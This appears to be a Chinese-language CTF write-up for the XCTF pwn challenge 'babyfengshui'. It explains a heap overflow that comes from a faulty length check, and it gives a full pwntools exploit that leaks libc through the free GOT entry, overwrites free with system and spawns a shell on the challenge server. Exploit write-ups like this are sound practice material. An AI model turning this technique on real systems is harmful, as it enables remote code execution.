[XCTF-pwn] 27_babyfengshui

输入长度判断错误。可写溢出。

数据结构:

        管理块0x80: char *data_ptr; name[0x7c]

         先写数据块再写管理块

unsigned int __cdecl read_text(unsigned __int8 a1)
{
  char v2; // [esp+17h] [ebp-11h] BYREF
  int v3; // [esp+18h] [ebp-10h] BYREF
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)byte_804B069 && *(&ptr + a1) )
  {
    v3 = 0;
    printf("text length: ");
    __isoc99_scanf("%u%c", &v3, &v2);
    if ( (char *)(v3 + *(_DWORD *)*(&ptr + a1)) >= (char *)*(&ptr + a1) - 4 )// 长度越界判断,可写溢出
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }
    printf("text: ");
    get_data(*(char **)*(&ptr + a1), v3 + 1);
  }
  return __readgsdword(0x14u) ^ v4;
}                                               // 20T1,80M1,20T2,80M2
                                                // F20,F80,20T2,80M2
                                                // F20,80T3,20T2,80M2,80M3
                                                // 20T4,80T3,20T2,80M2,80M3,80M4

输入长度判断,要求输入止地址小于管理块指针地址-4。当数据块和管理块间有其它块时,将可进行覆盖。

解题思路:

  1.  建两个小块8字节
  2. 释放0块这里会得到1个8字节的fastbin,和一个0x80的unsort
  3. 再建0x80的块,数据块会使用刚释放的0x80的unsort,管理块在块1后新建。再建8字节块,这个块的数据块与管理块间的块1可被覆盖
  4. 编辑3块(上步新建的)覆盖1块的指针为got.free然后show1得到libc
  5. 再编辑1块(data指针指向got.free)修改free为system
  6. 释放带/bin/sh的块

完整exp:

from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
    libc_elf = ELF("/home/shi/libc6-i386_2.23-0ubuntu11.3/libc-2.23.so")
    one = [0x3a81c,0x3a81e,0x3a822,0x3a829,0x5f075,0x5f076]
    offset_main_ret = 0x18647
else:
    p = remote('111.200.241.244', 54260) 
    libc_elf = ELF('/home/shi/buuctf/libc6-i386_2.23-0ubuntu10_amd64.so')
    one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
    offset_main_ret = 0x18637

elf = ELF('./pwn')
context(arch='i386', log_level='debug')

menu = b"Action: "
def add(size, name, text):
    p.sendlineafter(menu, b'0')
    p.sendlineafter(b"size of description: ", str(size).encode())
    p.sendlineafter(b"name: ", name)
    p.sendlineafter(b"text length: ", str(len(text)).encode())
    p.sendafter(b"text: ", text)

def free(idx):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"index: ", str(idx).encode())

def show(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"index: ", str(idx).encode())

def edit(idx, text):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"index: ", str(idx).encode())
    p.sendlineafter(b"text length: ", str(len(text)).encode())
    p.sendafter(b"text: ", text)

add(8, b'0', b'A')
add(8, b'1', b'A')
free(0)
add(0x80, b'2', b'A')
add(8, b'3', b'A')
edit(3, b'/bin/sh\x00'.ljust(0xa4, b'A')+p32(0x89)+p32(elf.got['free']))
show(1)
p.recvuntil(b'tion: ')
libc_base = u32(p.recv(4)) - libc_elf.sym['free']
libc_elf.address = libc_base
print('libc:', hex(libc_base))

edit(1, p32(libc_elf.sym['system']))
free(3)

p.sendline(b'cat /flag')
p.interactive()   

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值